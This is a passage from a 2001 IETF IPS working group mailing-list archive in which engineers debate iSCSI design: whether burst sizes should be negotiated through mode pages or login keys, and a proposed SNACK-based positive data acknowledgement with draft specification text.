(d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8PHsnV221578 for ; Tue, 25 Sep 2001 11:54:49 -0600 X-Priority: 1 (High) Importance: Normal Subject: Re: iscsi : default iscsi mode page settings. To: "Julian Satran" Cc: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Tue, 25 Sep 2001 10:53:39 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/25/2001 11:54:50 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Julian. Thank you for taking the time to express your views, in this way. That type of dialog can help push the debate forward. Now let me expressed some views that I hold, and ask you to let me know where I am wrong. I have viewed the Buffer/Cache Manager as an independent entity that belongs to the "Box" (or the embedded OS). I have not viewed the Buffer/Cache Manager as being a SCSI entity. Instead I have viewed SCSI as a user of the Box services called Buffer/Cache Manager. Likewise, I have viewed the Transport as a user of this same Buffer/Cache Manager(B/CM). I can understand that the B/CM can have certain input and output flows that it needs to be designed to handle. Further I understand that part of that design should factor in the needs of the SCSI LUs to consume Buffer Space. But the requirements of the Transport also needs to be factored in. As a result, I expect that there needs to be some defaults per link, and if the Transport is to negotiate Burst values, there probably needs to be an interface with the B/CM to ensure that the right values are negotiated. However, it is not clear that it makes sense for the iSCSI layer to keep polling (interfacing to) the B/CM just in case a SCSI command has changed the Mode Pages, nor does it see reasonable for iSCSI to inspect the CDBs to see if its mode Page items are being changed. So if it is not affected by a SCSI command and is only handled with Login/Text Command, then an approprate interface between the B/CM can be used to query about the approprate values to negotiate at any specific time. I think this is a reasonable and approprate design. This is why I have come to the conclusion that the burst values (other then defaults, if any) should not be a Mode Page item. Now it is clearly possible that I have missed something important here, so please let me know what it is. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/24/2001 11:28:15 PM Sent by: owner-ips@ece.cmu.edu To: ips@ece.cmu.edu cc: Subject: Re: iscsi : default iscsi mode page settings. Sanjeev, We can set any of those parameters wherever you want as its clearly a protocol prerogative. The one thing that I am trying to avoid is having one parameter being handled in two ways (It caused me more trouble that it was worth in the past and required a lot of logic). As such we have two consideration when selecting location: legacy what layer is the most affected by it It looks to me that association of sink buffers at targets is mostly a SCSI issue and it is dependent on the device type, the relative speed of the transport and device, QOS requirements at device. Data is already in the SCSI realm (not anymore individual PDUs but sequences that are governed by SCSI needs and (including fairness rules between LUs attached to the same bus). That is why we have those bursts - iSCSI does not need them - SCSI may need them for multiplexing and buffer limitations of its own. As far as iSCSI is concerned bursts are just trouble. But without them a pipe with a limited window will serve one LU and even beyond it's real capabilites. The multiplexing capability is needed by SCSI and is offered in different ways on different transports. Some "buses" have a "built-in" multiplexing capability. TCP does not and iSCSI adds it to it by the "burst limitation". All this said and based on an earlier comment made by Bob Snively that this could be a good criteria for splitting parameters between text and mode pages - I think that the split we have now, even if not built according to every developers wet dreams, is reasonable. Julo "Sanjeev Bhagat \(TRIPACE/Zoetermee To: "Santosh Rao" , John r\)" Hufferd/San Jose/IBM@IBMUS Subject: Re: iscsi : default iscsi mode page 25-09-01 01:58 settings. Please respond to "Sanjeev Bhagat \(TRIPACE/Zoetermee r\)" Julian, Santosh, Can we make all the SCSI mode page paramters be made as login keys? Why should they be kept in a seperate mode page at all?? Sanjeev ----- Original Message ----- From: "John Hufferd" To: "Santosh Rao" Cc: "Julian Satran" ; Sent: Monday, September 24, 2001 10:34 PM Subject: Re: iscsi : default iscsi mode page settings. > > In addition to what Santosh said, If I understand this right, > I think it is a problem for iSCSI to have to keep going across layers to > determine what the values are. Since iSCSI Target will not see the CDB > that caused the values to change. > > Now if the value in the mode page is only the default, that would be a > different issue. > > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com > > > Santosh Rao @ece.cmu.edu on 09/24/2001 12:28:43 PM > > Sent by: owner-ips@ece.cmu.edu > > > To: Julian Satran/Haifa/IBM@IBMIL > cc: ips@ece.cmu.edu > Subject: Re: iscsi : default iscsi mode page settings. > > > > Julian Satran wrote: > > > I can sympathize with you wanting to use most of the parameters in iSCSI > - > > but the values are in fact restrictions that SCSI places on iSCSI. > > Julian, > > I'm confused by your response. > > The SPC-2 description of Disconnect-Reconnect mode page indicates that : > "The parameters appropriate to each protocol and their interpretation for > that protocol may > be specified in the individual protocol documents". > > FYI, SPI[-4] has chosen not to attach any semantics to FirstBurstSize for > the pSCSI > transport. Thus, iscsi is within its rights to declare this field as > reserved and attach no > meaning to it in the mode page. The FirstBurstSize can be negotiated during > iscsi login > through a login key. > > > > Nevertheless the discussion is rather academic because SCSI can hand > those > > parameters to iSCSI. > > Again, I'm confused by your response. The reasons I'm suggesting the use of > a login key > instead of the mode page method are : > > * More accurate scope (applies only to this I-T nexus). > > * More optimal negotiation and reduced overhead in the establishment of > the I-T nexus. (2 > less SCSI commands per I-T nexus establishment.). > > * Enables faster I/O scan times due to lesser on-the-wire activity > during I-T nexus > establishment. > > * Allows less room for error in the I-T nexus establishment (no > possiblity of failure to > establish I-T nexus due to mode sense/select command failure). > > * Avoids mode select wars that can occur when target uses shared mode > pages. > > * Simpler initiator implementations since they can avoid embedding SCSI > command set > knowledge as well as code to build/parse SCSI commands. Also, they can > avoid extra code > that is required to snoop for CHECK CONDITION with (sense key=UA, ASC > ="mode parameters > changed") in order to re-issue a mode sense to determine new values > for FirstBurstSize. > > * Less code to interact with SCSI ULP application client to co-ordinate > the mode page > values b/n the ULP & LLP. > > * Can use un-solicited data from the very first scsi command in the > session. > > I don't consider any of the above reasons to be academic and would like to > know which ones > among the above do you believe are academic and why ? > > > > SCSI can handle those parameters dynamically. iSCSI may have trouble > > handling this type of negotiation dynamically over several connections. > > This is exactly the kind of stuff we don't need and should actually be > trying to avoid. What > good does dynamically changing FirstBurstSize serve ? Dynamically changing > FirstBurstSize > would only be achieved with least side-effects if : > 1) The mode select implementation on target is not using shared mode pages. > 2) The initiator has quiesced I/O prior to issuing the mode select for the > change. > > Neither of the above 2 conditions would typically apply and any dynamic > change of > FirstBurstSize would only cause initiators to see a bunch of side-effects > such as : > a) Active outbound I/Os aborted by the target with a CHECK CONDITION due to > "not enough > un-solicited data". > b) UA CHECK CONDITION for "mode parameters changed". > > In the interests of simplification and avoiding disruption of active I/O, > such modifications > must be avoided as far as possible. One way to achieve that is to use a > login key and make > it LO. > > > > > > Resource-wise (as Bob Snively has pointed out) those are SCSI issues. > > > > A nice way out would be to ask T10 for a text mode negotiaton :-) > > Once again, I'm perplexed by your response. I'm not saying that text mode > negotiation is the > reason I suggest moving this to a login key. The main objective is to > isolate such > negotiation within the iscsi layer in an iscsi specific PDU that is a part > of the iscsi > login process. > > Hope you will consider all of the above factors. > > Thanks, > Santosh > > ps : [I wonder if there are any others on this list who care to voice their > opinion on this > issue. (??). ] > > > > > > From owner-ips@ece.cmu.edu Tue Sep 25 15:23:05 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA12646 for ; Tue, 25 Sep 2001 15:23:01 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8PHTos10762 for ips-outgoing; Tue, 25 Sep 2001 13:29:50 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8PHTlP10758 for ; Tue, 25 Sep 2001 13:29:47 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel1.hp.com (Postfix) with ESMTP id 165C37AD; Tue, 25 Sep 2001 10:29:46 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id KAA14703; Tue, 25 Sep 2001 10:29:41 -0700 (PDT) Message-ID: <3BB0C092.6D2B39F5@cup.hp.com> Date: Tue, 25 Sep 2001 10:36:18 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: Julian Satran , ips@ece.cmu.edu Subject: Re: iscsi : default iscsi mode page settings. References: <3BAF896B.B9313753@cup.hp.com> Content-Type: multipart/mixed; boundary="------------B27793882866B89A8FFEDDFC" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------B27793882866B89A8FFEDDFC Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Julian, I did not hear back from you on my comments below. What is the closure on this issue ? I hear at least 4 people who have concerns regarding the use of mode pages for FirstBurstSize, if I understood John Hufferd's comments right. (Charles Binford, myself, Sanjeev, John Hufferd). At least 3 of them would prefer to see login keys being used. There are the separate issues of : * iscsi's specification of defaults for its mode pages which is not in line with mode page usage. This impacts the target's ability to enforce values other than the protocol specified default, if the initiator were to not use mode sense/select. * default settings for login keys. * Is there a need for the "LUN Control Mode Page" and whether "Enable CRN" should be in a transport specific mode page ? which need to be driven to closure as well. Regards, Santosh Santosh Rao wrote: > Julian Satran wrote: > > > I can sympathize with you wanting to use most of the parameters in iSCSI - > > but the values are in fact restrictions that SCSI places on iSCSI. > > Julian, > > I'm confused by your response. > > The SPC-2 description of Disconnect-Reconnect mode page indicates that : > "The parameters appropriate to each protocol and their interpretation for that protocol may > be specified in the individual protocol documents". > > FYI, SPI[-4] has chosen not to attach any semantics to FirstBurstSize for the pSCSI > transport. Thus, iscsi is within its rights to declare this field as reserved and attach no > meaning to it in the mode page. The FirstBurstSize can be negotiated during iscsi login > through a login key. > > > Nevertheless the discussion is rather academic because SCSI can hand those > > parameters to iSCSI. > > Again, I'm confused by your response. The reasons I'm suggesting the use of a login key > instead of the mode page method are : > > * More accurate scope (applies only to this I-T nexus). > > * More optimal negotiation and reduced overhead in the establishment of the I-T nexus. (2 > less SCSI commands per I-T nexus establishment.). > > * Enables faster I/O scan times due to lesser on-the-wire activity during I-T nexus > establishment. > > * Allows less room for error in the I-T nexus establishment (no possiblity of failure to > establish I-T nexus due to mode sense/select command failure). > > * Avoids mode select wars that can occur when target uses shared mode pages. > > * Simpler initiator implementations since they can avoid embedding SCSI command set > knowledge as well as code to build/parse SCSI commands. Also, they can avoid extra code > that is required to snoop for CHECK CONDITION with (sense key=UA, ASC="mode parameters > changed") in order to re-issue a mode sense to determine new values for FirstBurstSize. > > * Less code to interact with SCSI ULP application client to co-ordinate the mode page > values b/n the ULP & LLP. > > * Can use un-solicited data from the very first scsi command in the session. > > I don't consider any of the above reasons to be academic and would like to know which ones > among the above do you believe are academic and why ? > > > SCSI can handle those parameters dynamically. iSCSI may have trouble > > handling this type of negotiation dynamically over several connections. > > This is exactly the kind of stuff we don't need and should actually be trying to avoid. What > good does dynamically changing FirstBurstSize serve ? Dynamically changing FirstBurstSize > would only be achieved with least side-effects if : > 1) The mode select implementation on target is not using shared mode pages. > 2) The initiator has quiesced I/O prior to issuing the mode select for the change. > > Neither of the above 2 conditions would typically apply and any dynamic change of > FirstBurstSize would only cause initiators to see a bunch of side-effects such as : > a) Active outbound I/Os aborted by the target with a CHECK CONDITION due to "not enough > un-solicited data". > b) UA CHECK CONDITION for "mode parameters changed". > > In the interests of simplification and avoiding disruption of active I/O, such modifications > must be avoided as far as possible. One way to achieve that is to use a login key and make > it LO. > > > > > Resource-wise (as Bob Snively has pointed out) those are SCSI issues. > > > > A nice way out would be to ask T10 for a text mode negotiaton :-) > > Once again, I'm perplexed by your response. I'm not saying that text mode negotiation is the > reason I suggest moving this to a login key. The main objective is to isolate such > negotiation within the iscsi layer in an iscsi specific PDU that is a part of the iscsi > login process. > > Hope you will consider all of the above factors. > > Thanks, > Santosh > > ps : [I wonder if there are any others on this list who care to voice their opinion on this > issue. (??). ] --------------B27793882866B89A8FFEDDFC Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------B27793882866B89A8FFEDDFC-- From owner-ips@ece.cmu.edu Tue Sep 25 16:03:05 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA13575 for ; Tue, 25 Sep 2001 16:02:50 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8PIokM16837 for ips-outgoing; Tue, 25 Sep 2001 14:50:46 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8PIohP16832 for ; Tue, 25 Sep 2001 14:50:44 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id UAA100456 for ; Tue, 25 Sep 2001 20:50:33 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8PIoWB106106 for ; Tue, 25 Sep 2001 20:50:32 +0200 Subject: RE: iSCSI - positive data ack - change proposal To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Tue, 25 Sep 2001 21:50:55 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 25/09/2001 21:50:32 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Rod, I have a long day and I intended to answer you but I don't recall if I did. If I did I apologize for the duplicate. If I did not here it is: -1) The NOP just won't do it. NOP does not help detecting holes due to digest failures and that is the main reason target is keeping data buffers (if it can't recover them from the media - like from a tape) - to be able to ship them for SNACK. -2) The traffic argument is minor - as I said earlier the ACKs are no more or less desirable than R2T. An extremely conservative target may issue an R2T for every PDU. Should we be concerned? All the rest of the mechanisms are already there. The target will not stop transmitting data (speed will not be affected) as Matthew suggested. Julo "Rod Harrison" cc: 25-09-01 19:21 Subject: RE: iSCSI - positive data ack - Please respond to change proposal "Rod Harrison" Julian, I understand that the NOP is not actually an ACK itself. However, given the way an initiator must process a non-immediate NOP-IN ping request I believe it can be used to gain some understanding of when buffers associated with DATA-IN PDUs might be released. I don't really want to argue for using the NOP this way, I don't think it's a great idea. I just wanted to throw it in to show that a target can get most of what it needs even without a specific ACK mechanism. Please keep in mind this was based on the assumption that long transfers that might cause the target problems are rare, and so this use of NOP would be rare. If this is not the case then I believe an in-band ACK is necessary. - Rod -----Original Message----- From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of Julian Satran Sent: Tuesday, September 25, 2001 4:03 PM To: ips@ece.cmu.edu Subject: RE: iSCSI - positive data ack - change proposal Rod, My English is not that good Rod. What I meant to say about the NOP is that it does not convey information (it can't be used by itself as an ack!). I can understand that ack is seldomly needed but we can certainly improve targets (make them less expensive) by having it. I can understand also that data (for real applications) could be rebuilt. But you should not get the list into believing that there is a simple alternative. Julo "Rod Harrison" Sent by: cc: owner-ips@ece.cmu. Subject: RE: iSCSI - positive data ack - edu change proposal 25-09-01 15:09 Please respond to "Rod Harrison" Julian, The NOP mechanism is awkward, no question, but I wasn't thinking it was something we should specify and mandate. Rather it is something that a target might do under extreme, and hopefully unlikely conditions. - Rod -----Original Message----- From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of Julian Satran Sent: Tuesday, September 25, 2001 1:02 PM To: ips@ece.cmu.edu Subject: RE: iSCSI - positive data ack - change proposal Matthew, I can fix the text and the ack for the last - we can dispense with, but unlike we gather more support we will have to drop this. I think that the NOP mechanism is awkward but is awkward and as the target shares the penalty for SNAK it has no real incentive to the F bit in every PDU. Julo "BURBRIDGE,MATTH EW To: Julian Satran/Haifa/IBM@IBMIL, (HP-UnitedKingdo ips@ece.cmu.edu m,ex2)" cc: change proposal 24-09-01 12:38 Please respond to "BURBRIDGE,MATTH EW (HP-UnitedKingdo m,ex2)" Julian This looks good! A couple of comments: Please could you add a paragraph to state that a target does not necessarily need to wait for the acknowledgment of a sequence before starting transmission of the next sequence - for performance reasons. In section 3.7.1 it states that "Upon receiving an Data-In PDU with the F set to 1 in a session with ErrorRecoveryLevel 1 or higher the initiator MUST issue a DataACK type of SNACK indicating the next expected DataSN for this task". Is this true for all incoming data sequences including the final sequence of the transfer? Cheers Matthew -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Sunday, September 23, 2001 2:46 AM To: ips@ece.cmu.edu Subject: Re: iSCSI - positive data ack - change proposal Here is updated version (in the previous I had excluded the sequences ended with Status with no good reason. Julo (See attached file: ack.txt) ----- Forwarded by Julian Satran/Haifa/IBM on 23-09-01 04:41 ----- Julian Satran To: ips@ece.cmu.edu 22-09-2001 cc: 14:04 From: Julian Satran/Haifa/IBM@IBMIL Subject: iSCSI - positive data ack - change proposal Dear colleagues, As I mentioned earlier all the elements needed for positive data-ack are already in place. I am suggesting the following changes to the document to reintroduce the data-ACK. Comments? Julo **** Attachment ack.txt has been removed from this note on 23 September 2001 by Julian Satran **** From owner-ips@ece.cmu.edu Tue Sep 25 16:03:33 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA13618 for ; Tue, 25 Sep 2001 16:03:33 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8PIWnI15376 for ips-outgoing; Tue, 25 Sep 2001 14:32:49 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8PIWiP15367 for ; Tue, 25 Sep 2001 14:32:44 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id OAA69122; Tue, 25 Sep 2001 14:30:14 -0400 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8PIWYV257036; Tue, 25 Sep 2001 12:32:34 -0600 X-Priority: 1 (High) Importance: Normal Subject: RE: iSCSI - positive data ack - change proposal To: "Rod Harrison" Cc: X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Tue, 25 Sep 2001 11:26:22 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/25/2001 12:32:34 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Rod, Do you believe that your approach would be approprate when dealing with Tape? That is an environment where the probability of long Data Reads is significantly high. Also it is an environment where the higher level recovery is non-existent in many/most environments. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com "Rod Harrison" @ece.cmu.edu on 09/25/2001 03:10:37 AM Sent by: owner-ips@ece.cmu.edu To: "Santosh Rao" , cc: Subject: RE: iSCSI - positive data ack - change proposal I agree, I don't believe we need to positively ACK DATA-IN PDUs. IIRC the WG consensus has been that a target can free its resources whenever it chooses, reconstructing data from the media if necessary. I also agree that long DATA-IN sequences are unlikely enough to make a positive ACK unnecessary. However, consider the following. In the unlikely event of a DATA-IN sequence being long enough to push the target towards some critical resource limitation, the target could get some measure of confidence that it can release resources by sending a non-immediate NOP-IN ping request on the same connection. It is guaranteed that the initiator won't process the NOP-IN until all the DATA-IN PDUs have been read from the wire and processed. The initiator will send a NOP-OUT ping response on the same connection to the target. The initiator isn't going to do anything with the data except DMA to the host, so when the target receives the ping response it knows that worst case a couple of DMAs might be outstanding. If the target now frees the resources it had associated with some, or all, of the DATA-IN PDUs sent before the NOP-IN I believe the chance of them being needed again is very small. Worst case is that the target receives a data SNACK after freeing some of the resources, in which case the target reconstructs the data from the media, or simply sends a SNACK rejected ASC read error and forces the initiator into a higher level of recovery. I think this is unlikely enough to be acceptable. - Rod -----Original Message----- From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of Santosh Rao Sent: Tuesday, September 25, 2001 2:16 AM To: ips@ece.cmu.edu Subject: Re: iSCSI - positive data ack - change proposal Julian, I'm opposed to any use of out-of-band techniques by initiators to perform acks of data-in pdu's. If at all this level of data ack is required, I would like to suggest a simpler in-band ack mechanism which is that targets number all PDUs that are transmitted from target to initiator with a sequence number. (say, InboundSN) on a per connection basis. Initiators can then acknowledge inbound PDUs as they are received by sending ExpInboundSN updates on outbound PDUs. Such a technique is simpler to implement for initiators, less expensive in terms of resources and does not impact performance. Specific to your proposal below, I am concerned about the data ack's being based at sequence boundaries (thru the use of F bit in data-in PDU to indicate "Data ACK" required). This may result in data ack's being generated too frequently. The data ack boundaries should be signalled through a seperate bit rather than over-riding the semantics of the F bit. That said, I am opposed to the below proposal for all the reasons outlined earlier + the above. IF a data ack scheme is required (I did'nt hear enough "yes" calls to over-ride the Orlando WG consensus (?) ), then, I would favor an in-band technique such as the one suggested in this mail, wherein no extra PDUs are required from initiator to target for the sole purpose of acknowledging another inbound PDU or set of inbound PDUs. Thanks, Santosh Julian Satran wrote: > Here is updated version (in the previous I had excluded the sequences ended > with Status with no good reason. > > Julo > > (See attached file: ack.txt) > > ----- Forwarded by Julian Satran/Haifa/IBM on 23-09-01 04:41 ----- > > > Julian Satran > To: ips@ece.cmu.edu > 22-09-2001 cc: > 14:04 From: Julian Satran/Haifa/IBM@IBMIL > Subject: iSCSI - positive data ack - change > proposal > > > > > Dear colleagues, > > As I mentioned earlier all the elements needed for positive data-ack are > already in place. > > I am suggesting the following changes to the document to reintroduce the > data-ACK. > > Comments? > > Julo > > **** Attachment ack.txt has been removed from this note on 23 September > 2001 by Julian Satran **** > > ------------------------------------------------------------------ ------ > Within 2.2.2.3 > --------------- > > Initiators MAY also acknowledge received data and reduce by this the resources a target needs to dedicate to data recovery if target and initiator support this type of recovery. > > ------ > 3.7.1 F (Final) Bit > > For outgoing data, this bit is 1 for the last PDU of unsolicited data or the last PDU of a sequence answering an R2T. > > For incoming data, this bit is 1 for the last input (read) data PDU of a sequence. Input can be split in several sequences each one having it's own F bit. Splitting in sequences does not affect DataSN counting on Data-In PDUs but MAY be used as a "change direction" indication for Bidirectional operations that need such a change and/or end of recoverable sequences by targets with a limited retransmission buffer. Upon receiving an Data-In PDU with the F set to 1 in a session with ErrorRecoveryLevel 1 or higher the initiator MUST issue a DataACK type of SNACK indicating the next expected DataSN for this task. > > For Bidirectional operations, the F bit is 1 both for the end of the input sequences as well as the end of the output sequences. > > > ----------- > > 3.16 SNACK Request > > Byte / 0 | 1 | 2 | 3 | > / | | | | > |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| > +---------------+---------------+---------------+---------------+ > 0|0|1| 0x10 |1|Rsrvd| Type | Reserved | > +---------------+---------------+---------------+---------------+ > 4/ Reserved / > +/ / > +---------------+---------------+---------------+---------------+ > 16| Initiator Task Tag or 0xffffffff | > +---------------+---------------+---------------+---------------+ > 20| BegRun | > +---------------+---------------+---------------+---------------+ > 24| RunLength | > +---------------+---------------+---------------+---------------+ > 28| ExpStatSN | > +---------------+---------------+---------------+---------------+ > 32| Reserved | > +---------------+---------------+---------------+---------------+ > 36| ExpDataSN or Reserved | > +---------------+---------------+---------------+---------------+ > 32/ Reserved / > +/ / > +---------------+---------------+---------------+---------------+ > 48 > > Support for SNACK is optional. > > SNACK request is used to request retransmission of numbered-responses, data or R2T PDUs from the target. The SNACK request indicates to the target the missed numbered-response or data run, where the run is composed of an initial missed StatSN, DataSN or R2TSN and the number of additional missed Status, Data or R2T PDUs (0 means only the initial). > > The numbered-response, Data or R2T PDUs requested by a SNACK have to be delivered as exact replicas of the ones the initiator missed including all its flags. > > Any SNACK requesting a numbered-response, Data or R2T that was not sent by the target MUST be rejected with a reason code of "Invalid SNACK". > > SNACK is also used to positively acknowledge Data-In PDUs. > > 3.16.1 Type > > This field encodes the SNACK function as follows: > > 0-Data/R2T SNACK - requesting retransmission of a Data-In or R2T PDU > 1-Status SNACK - requesting retransmission of a numbered response > 2-DataACK - positively acknowledges Data-In PDUs > > All other values are reserved. > > Data/R2T SNACK for a command MUST precede status acknowledgement for the given command. > > For a Data/R2T SNACK or a DataACK, the Initiator Task Tag MUST be set to the Initiator Task Tag of the referenced Command. Otherwise, it is reserved. > > For a Status SNACK the ExpDataSN field is reserved. > > An iSCSI target that does not support recovery within connection MAY discard status SNACK. If the target supports command recovery within session it MAY discard the SNACK after which it MUST issue an Asynchronous Message PDU with an iSCSI event indicating "Request Logout". > > If an initiator operates at ErrorRecoveryLevel 1 or higher it MUST issue a SNACK of type DataACK after receiving a Data-In PDU with the F bit set to 1. > > 3.16.2 BegRun > > First missed DataSN, R2TSN or StatSN > > 3.16.3 RunLength > > RunLength is the number of sequential missed DataSN, R2TSN or StatSN. RunLength 0 signals that all Data-In, R2T or Response PDUs carrying numbers equal or greater to BegRun have to be resent. From owner-ips@ece.cmu.edu Tue Sep 25 16:46:38 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA14595 for ; Tue, 25 Sep 2001 16:46:38 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8PJT2w19495 for ips-outgoing; Tue, 25 Sep 2001 15:29:02 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8PJStP19483 for ; Tue, 25 Sep 2001 15:28:55 -0400 (EDT) Received: from london ([10.95.10.3]) by mail.wrs.com (8.9.3/8.9.1) with SMTP id MAA12881; Tue, 25 Sep 2001 12:28:43 -0700 (PDT) From: "Rod Harrison" To: "John Hufferd" Cc: Subject: RE: iSCSI - positive data ack - change proposal Date: Tue, 25 Sep 2001 20:30:51 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 In-Reply-To: Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit John, I don't actually think the NOP approach is something one would want to rely on, it is more something that can be done to help a target that is about to stop because of resource limitations decide on some things to free. That said I don't agree that even in the tape world long data reads will be the norm. It is usual for host operating systems to break long transfers in to multiple smaller transfers. Often because of limitations in HBA DMA etc. Typically HBAs indicate their maximum transfer capability and the host SCSI layer accommodates them. If we believe we really need to cater for long data reads, and it is beginning to sound like we do, then one of the in-band ACK proposals is the way to go. - Rod -----Original Message----- From: John Hufferd [mailto:hufferd@us.ibm.com] Sent: Tuesday, September 25, 2001 7:26 PM To: Rod Harrison Cc: ips@ece.cmu.edu Subject: RE: iSCSI - positive data ack - change proposal Rod, Do you believe that your approach would be approprate when dealing with Tape? That is an environment where the probability of long Data Reads is significantly high. Also it is an environment where the higher level recovery is non-existent in many/most environments. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com "Rod Harrison" @ece.cmu.edu on 09/25/2001 03:10:37 AM Sent by: owner-ips@ece.cmu.edu To: "Santosh Rao" , cc: Subject: RE: iSCSI - positive data ack - change proposal I agree, I don't believe we need to positively ACK DATA-IN PDUs. IIRC the WG consensus has been that a target can free its resources whenever it chooses, reconstructing data from the media if necessary. I also agree that long DATA-IN sequences are unlikely enough to make a positive ACK unnecessary. However, consider the following. In the unlikely event of a DATA-IN sequence being long enough to push the target towards some critical resource limitation, the target could get some measure of confidence that it can release resources by sending a non-immediate NOP-IN ping request on the same connection. It is 